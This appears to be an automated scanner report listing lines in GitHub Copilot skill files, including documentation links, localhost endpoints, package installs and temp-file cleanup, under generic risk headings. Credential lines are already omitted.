    - **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions)
  • Network accessline 328
    - **Penpot Community**: [community.penpot.app](https://community.penpot.app/)

harness/github-copilot/skills/pester-migration/SKILL.md

  • Network accessline 22
    - Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - 
  • Network accessline 24
    - Installation reference: https://pester.dev/docs/introduction/installation.
  • Network accessline 36
    Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5.
  • Network accessline 184
    - [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5)
  • Network accessline 185
    - Installation: https://pester.dev/docs/introduction/installation.

harness/github-copilot/skills/pester-migration/references/v3-to-v4.md

  • Network accessline 6
    Official guide: https://pester.dev/docs/migrations/v3-to-v4
  • Network accessline 29
    There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee
  • Network accessline 30
    that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n
  • Network accessline 31
    https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced
  • Network accessline 74
    cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873.
  • Network accessline 76
    https://github.com/pester/Pester/issues/873.
  • Network accessline 78
    Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81
  • Network accessline 80
    https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.

harness/github-copilot/skills/pester-migration/references/v4-to-v5.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v4-to-v5 ·
  • Network accessline 8
    Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5
  • Network accessline 70
    > `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 72
    > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 74
    There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 75
    https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 110
    Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest
  • Network accessline 112
    template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests.
  • Network accessline 178
    it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on   `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See   https://pester.dev/docs/usage/mocking.
  • Network accessline 180
    https://pester.dev/docs/usage/mocking.

harness/github-copilot/skills/pester-migration/references/v5-to-v6.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v5-to-v6
  • Network accessline 60
    single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs
  • Network accessline 62
    edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases.
  • Network accessline 197
    failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes
  • Network accessline 199
    part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.

harness/github-copilot/skills/pester-should-migration/SKILL.md

  • Network accessline 116
    - `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 117
    - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 118
    - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 119
    - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 120
    - `https://pester.dev/docs/migrations/v5-to-v6`
  • Network accessline 159
    - [Should-Be command](https://pester.dev/docs/commands/Should-Be)
  • Network accessline 160
    - [Should assertions concept](https://pester.dev/docs/assertions/should-command)
  • Network accessline 161
    - [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)

harness/github-copilot/skills/pester-should-migration/references/assertion-map.md

  • Network accessline 4
    Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`)
  • Network accessline 6
    open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).

harness/github-copilot/skills/phoenix-cli/SKILL.md

  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 77
    export PHOENIX_HOST=http://localhost:6006
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 125
    px auth status                                # check connection and authentication px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 126
    px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 138
    px profile show                              # show the active profile's settings px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key>
  • Network accessline 139
    px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my-
  • Network accessline 140
    px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate
  • Network accessline 141
    px profile create local --endpoint http://localhost:6006 --project my-app
  • Network accessline 390
    - [Phoenix application](https://app.phoenix.arize.com)

harness/github-copilot/skills/phoenix-cli/references/axial-coding.md

  • Dangerous shell operationline 165
    rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"

harness/github-copilot/skills/phoenix-cli/references/open-coding.md

  • Dangerous shell operationline 239
    rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"

harness/github-copilot/skills/phoenix-evals/references/common-mistakes-python.md

  • Network accessline 72
    # WRONG client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 73
    client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 74
    client = Client(url="https://app.phoenix.arize.com")
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

harness/github-copilot/skills/phoenix-evals/references/error-analysis.md

  • Network accessline 20
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/skills/phoenix-evals/references/observe-tracing-setup.md

  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

harness/github-copilot/skills/phoenix-tracing/README.md

  • Network accessline 20
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 21
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 22
    - [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 23
    - [Python Client API](https://arize.com/docs/phoenix)
  • Network accessline 24
    - [TypeScript API](https://arize-ai.github.io/phoenix/)

harness/github-copilot/skills/phoenix-tracing/SKILL.md

  • Network accessline 134
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 135
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 136
    - [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 137
    - [Python Client Package](https://arize.com/docs/phoenix)
  • Network accessline 138
    - [TypeScript Packages](https://arize-ai.github.io/phoenix/)

harness/github-copilot/skills/phoenix-tracing/references/annotations-python.md

  • Network accessline 8
    from phoenix.client import Client client = Client()  # Default: http://localhost:6006
  • Network accessline 9
    client = Client()  # Default: http://localhost:6006
  • Network accessline 127
    - [Python Client API](https://arize.com/docs/phoenix)

harness/github-copilot/skills/phoenix-tracing/references/annotations-typescript.md

  • Network accessline 8
    import { createClient } from "@arizeai/phoenix-client"; const client = createClient();  // Default: http://localhost:6006
  • Network accessline 9
    const client = createClient();  // Default: http://localhost:6006
  • Network accessline 173
    - [TypeScript Client API](https://arize-ai.github.io/phoenix/)

harness/github-copilot/skills/phoenix-tracing/references/instrumentation-manual-python.md

  • Network accessline 47
    @tracer.tool def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 48
    def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")     return response.json()["weather"]
  • Network accessline 49
    response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 180
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto
  • Network accessline 182
    - **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/github-copilot/skills/phoenix-tracing/references/instrumentation-manual-typescript.md

  • Network accessline 53
    // TOOL - function calls const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 54
    const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),   { name: "get-weather" }
  • Network accessline 55
    async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 170
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
  • Network accessline 171
    - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation

harness/github-copilot/skills/phoenix-tracing/references/projects-python.md

  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/skills/phoenix-tracing/references/sessions-python.md

  • Network accessline 103
    - **TypeScript sessions:** `sessions-typescript.md` - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
  • Network accessline 104
    - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/github-copilot/skills/phoenix-tracing/references/sessions-typescript.md

  • Network accessline 23
    register({   projectName: "your-app",   url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 25
    url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 95
    # Get all traces for a session npx @arizeai/phoenix-cli traces \   --endpoint http://localhost:6006 \
  • Network accessline 96
    npx @arizeai/phoenix-cli traces    --endpoint http://localhost:6006
  • Network accessline 97
    --endpoint http://localhost:6006 \

harness/github-copilot/skills/phoenix-tracing/references/setup-python.md

  • Network accessline 19
    **Connects to `http://localhost:6006`, auto-instruments all supported libraries.**
  • Network accessline 34
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 35
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"  # Or Cloud URL
  • Network accessline 44
    tracer_provider = register(     project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 45
    project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint     auto_instrument=True,               # Auto-instrument supported libs
  • Network accessline 46
    endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 89
    **Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/
  • Network accessline 93
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 103
    [Credential-related source omitted]
  • Network accessline 130
    - [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 131
    - [Python Client API Docs](https://arize.com/docs/phoenix)

harness/github-copilot/skills/phoenix-tracing/references/setup-typescript.md

  • Network accessline 23
    Connects to `http://localhost:6006` by default.
  • Network accessline 30
    register({   projectName: "my-app",   url: "http://localhost:6006",
  • Network accessline 31
    [Credential-related source omitted]
  • Network accessline 32
    url: "http://localhost:6006",
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 42
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"
  • Network accessline 135
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 154
    [Credential-related source omitted]
  • Network accessline 168
    - **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/
  • Network accessline 170
    - **API docs:** https://arize-ai.github.io/phoenix/

harness/github-copilot/skills/phoenix-tracing/references/span-llm.md

  • Network accessline 78
    - **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
  • Network accessline 79
    - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md

harness/github-copilot/skills/phoenix-tracing/references/span-retriever.md

  • Network accessline 53
    "author": "Jane Doe",   "created_at": "2024-01-15",   "url": "https://example.com/doc",
  • Network accessline 54
    "created_at": "2024-01-15",   "url": "https://example.com/doc",   "chunk_id": "chunk_123"
  • Network accessline 55
    "url": "https://example.com/doc",

harness/github-copilot/skills/php-mcp-server-generator/references/templates-and-development.md

  • Network accessline 330
    <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 331
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

harness/github-copilot/skills/pinecone-rag/SKILL.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]

harness/github-copilot/skills/plantuml-ascii/SKILL.md

  • Broad permissionsline 1
    Bash, Write, Read
  • Dangerous shell operationline 44
    sudo apt-get install plantuml  # Ubuntu/Debian
  • Dangerous shell operationline 45
    sudo yum install plantuml      # RHEL/CentOS
  • Network accessline 47
    # Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Network accessline 48
    wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Dangerous shell operationline 352
    - [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`.
  • Network accessline 356
    - [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)

harness/github-copilot/skills/playwright-automation-fill-in-form/SKILL.md

  • Network accessline 19
    - Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi
  • Network accessline 20
    - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL.
  • Network accessline 54
    **Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 55
    **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 70
    - [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.

harness/github-copilot/skills/power-apps-code-app-scaffold/SKILL.md

  • Network accessline 179
    - Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.

harness/github-copilot/skills/power-platform-architect/SKILL.md

  • Network accessline 33
    | AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans
  • Network accessline 34
    | Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an
  • Network accessline 35
    | Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con
  • Network accessline 61
    6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js
  • Network accessline 63
    8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction.
  • Network accessline 121
    - `high-level` - `high-volume` - `https://mermaid.ai/live/edit`
  • Network accessline 122
    - `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific`
  • Network accessline 123
    - `https://mermaid.ai/live/edit`
  • Network accessline 159
    ### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 161
    **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 175
    - [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors)
  • Network accessline 176
    - [Mermaid Live Editor](https://mermaid.ai/live/edit)

harness/github-copilot/skills/pr-dashboard/scripts/lib/utils.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 219
    return `<tr>   <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
  • Network accessline 220
    <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>

harness/github-copilot/skills/pr-screenshots/SKILL.md

  • Network accessline 92
    $base = "https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}"
  • Network accessline 110
    ![description](https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}/pullRequests/{prId}/attachments/screenshot.png)

harness/github-copilot/skills/premium-frontend-ui/SKILL.md

  • Network accessline 5
    metadata:   author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005"
  • Network accessline 6
    author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 7
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 124
    - [Author profile](https://github.com/utkarsh232005)

harness/github-copilot/skills/publish-to-pages/SKILL.md

  • Network accessline 24
    command -v gh >/dev/null || echo "MISSING: gh CLI — install from https://cli.github.com"
  • Network accessline 51
    | PDF | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html` | | PDF, forced external assets | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html --external-assets` | | Google Slides download | `curl -L 
  • Network accessline 53
    | Google Slides download | `curl -L "https://docs.google.com/presentation/d/PRESENTATION_ID/export/pptx" -o /tmp/slides.pptx` |
  • Network accessline 105
    **Status:** published | blocked **Repository:** `https://github.com/USERNAME/REPO_NAME`
  • Network accessline 106
    **Repository:** `https://github.com/USERNAME/REPO_NAME`
  • Network accessline 107
    **Live URL:** `https://USERNAME.github.io/REPO_NAME/`
  • Network accessline 134
    - [GitHub CLI](https://cli.github.com)

harness/github-copilot/skills/publish-to-pages/scripts/convert-pdf.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/publish-to-pages/scripts/convert-pptx.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 98
    sp_pr = shape._element.find(qn('a:spPr'))         if sp_pr is None:             for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr',
  • Network accessline 99
    if sp_pr is None:             for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr',                         '{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']:
  • Network accessline 100
    for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr',
  • Network accessline 101
    '{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']:

harness/github-copilot/skills/publish-to-pages/scripts/publish.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 23
    TMPDIR=$(mktemp -d) git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR"
  • Network accessline 24
    git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR"
  • Network accessline 45
    echo "REPO_URL=https://github.com/$USERNAME/$REPO_NAME"
  • Network accessline 46
    echo "PAGES_URL=https://$USERNAME.github.io/$REPO_NAME/"
  • Dangerous shell operationline 51
    rm -rf "$TMPDIR"

harness/github-copilot/skills/python-azure-iot-edge-modules/SKILL.md

  • Network accessline 23
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 24
    - https://learn.microsoft.com/es-es/azure/iot-edge/
  • Network accessline 28
    - https://www.python.org/
  • Network accessline 29
    - https://docs.python.org/3/
  • Network accessline 30
    - https://docs.python.org/3/reference/
  • Network accessline 31
    - https://docs.python.org/3/harness/github-copilot/
  • Network accessline 134
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 135
    - [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/)
  • Network accessline 136
    - [Python](https://www.python.org/)
  • Network accessline 137
    - [Python 3 documentation](https://docs.python.org/3/)
  • Network accessline 138
    - [Python language reference](https://docs.python.org/3/reference/)
  • Network accessline 139
    - [Python standard library](https://docs.python.org/3/harness/github-copilot/)

harness/github-copilot/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md

  • Network accessline 7
    - Official references reviewed from <https://www.python.org/> and <https://docs.python.org/3/>.
  • Network accessline 8
    - Language and stdlib usage validated against <https://docs.python.org/3/reference/> and <https://docs.python.org/3/harness/github-copilot/>.

harness/github-copilot/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md

  • Network accessline 7
    - Python home: <https://www.python.org/>
  • Network accessline 8
    - Python documentation portal: <https://docs.python.org/3/>
  • Network accessline 9
    - Python tutorial: <https://docs.python.org/3/tutorial/>
  • Network accessline 10
    - Python language reference: <https://docs.python.org/3/reference/>
  • Network accessline 11
    - Python standard library reference: <https://docs.python.org/3/harness/github-copilot/>
  • Network accessline 12
    - Python HOWTOs: <https://docs.python.org/3/howto/>
  • Network accessline 13
    - Installing modules: <https://docs.python.org/3/installing/>
  • Network accessline 14
    - Distributing modules: <https://docs.python.org/3/distributing/>
  • Network accessline 15
    - PEP index: <https://peps.python.org/>
  • Network accessline 16
    - PyPA packaging guide: <https://packaging.python.org/>

harness/github-copilot/skills/python-mcp-server-generator/SKILL.md

  • Network accessline 51
    For HTTP testing, connect clients to `http://localhost:PORT/mcp`.
  • Network accessline 96
    | Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
  • Network accessline 98
    | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |

harness/github-copilot/skills/python-pypi-package-builder/SKILL.md

  • Network accessline 93
    - PyPI name: all lowercase, hyphens — `my-python-library` - Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting
  • Network accessline 94
    - Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting - Avoid shadowing popular packages (verify `pip install <name>` fails first)
  • Network accessline 95
    - Check availability: https://pypi.org/search/ before starting
  • Network accessline 186
    4. TEST PUBLISH (first release only)    twine upload --repository testpypi dist/*    └── Verify: pip install --index-url https://test.pypi.org/simple/ your-package
  • Network accessline 188
    └── Verify: pip install --index-url https://test.pypi.org/simple/ your-package
  • Network accessline 400
    git tag vX.Y.Z git push origin main --tags # 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/
  • Network accessline 402
    # 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/
  • Network accessline 474
    **Release path** - TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package`
  • Network accessline 475
    - TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package`
  • Network accessline 481
    - [ ] Package type, layout, backend, and versioning choices were made using the decision tables in this skill. - [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search
  • Network accessline 482
    - [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search/).
  • Network accessline 488
    - [ ] Tests, Ruff, mypy, and pre-commit configuration match the selected package complexity. - [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers `
  • Network accessline 489
    - [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-pack
  • Network accessline 490
    - [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-package/ verification.
  • Network accessline 495
    - [PyPI package search](https://pypi.org/search/)
  • Network accessline 496
    - [TestPyPI simple index](https://test.pypi.org/simple/)
  • Network accessline 497
    - [Example PyPI project verification URL](https://pypi.org/project/your-package/)

harness/github-copilot/skills/python-pypi-package-builder/references/architecture-patterns.md

  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 200
    timeout: int = 30     retries: int = 3     base_url: str = "https://api.example.com/v1"
  • Network accessline 202
    base_url: str = "https://api.example.com/v1"
  • Access to secretsline 205
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Network accessline 237
    timeout: int = Field(30, ge=1)     retries: int = Field(3, ge=0)     base_url: str = "https://api.example.com/v1"
  • Network accessline 239
    base_url: str = "https://api.example.com/v1"
  • Network accessline 278
    def __init__(self, settings: Settings) -> None:         self._settings = settings         self._client = httpx.Client(
  • Network accessline 279
    self._settings = settings         self._client = httpx.Client(             base_url=settings.base_url,
  • Network accessline 280
    self._client = httpx.Client(
  • Access to secretsline 283
    [Credential-related source omitted]
  • Network accessline 342
    def __init__(self, settings: Settings) -> None:         self._settings = settings         self._client = httpx.AsyncClient(
  • Network accessline 343
    self._settings = settings         self._client = httpx.AsyncClient(             base_url=settings.base_url,
  • Network accessline 344
    self._client = httpx.AsyncClient(
  • Access to secretsline 347
    [Credential-related source omitted]
  • Access to secretsline 418
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 451
    [Credential-related source omitted]
  • Access to secretsline 455
    [Credential-related source omitted]
  • Access to secretsline 494
    [Credential-related source omitted]
  • Access to secretsline 502
    [Credential-related source omitted]
  • Access to secretsline 503
    [Credential-related source omitted]
  • Access to secretsline 504
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/github-copilot/skills/python-pypi-package-builder/references/ci-publishing.md

  • Network accessline 17
    Keep a `CHANGELOG.md` following [Keep a Changelog](https://keepachangelog.com/) conventions.
  • Network accessline 26
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
  • Network accessline 27
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 60
    [Unreleased]: https://github.com/{owner}/{repo}/compare/v1.0.0...HEAD
  • Network accessline 61
    [1.0.0]: https://github.com/{owner}/{repo}/compare/v0.1.0...v1.0.0
  • Network accessline 62
    [0.1.0]: https://github.com/{owner}/{repo}/releases/tag/v0.1.0
  • Network accessline 237
    1. Create an account at https://pypi.org
  • Network accessline 267
    # OR test on TestPyPI first (recommended for first release) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package
  • Network accessline 268
    twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package python -c "import your_package; print(your_package.__version__)"
  • Network accessline 269
    pip install --index-url https://test.pypi.org/simple/ your-package

harness/github-copilot/skills/python-pypi-package-builder/references/community-docs.md

  • Network accessline 25
    [![PyPI version](https://badge.fury.io/py/your-package.svg)](https://pypi.org/project/your-package/)
  • Network accessline 26
    [![Python Versions](https://img.shields.io/pypi/pyversions/your-package)](https://pypi.org/project/your-package/)
  • Network accessline 27
    [![CI](https://github.com/{owner}/{repo}/actions/workflows/ci.yml/badge.svg)](https://github.com/{owner}/{repo}/actions/workflows/ci.yml)
  • Network accessline 28
    [![Coverage](https://codecov.io/gh/you/your-package/branch/master/graph/badge.svg)](https://codecov.io/gh/you/your-package)
  • Network accessline 29
    [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 115
    git clone https://github.com/{owner}/{repo}
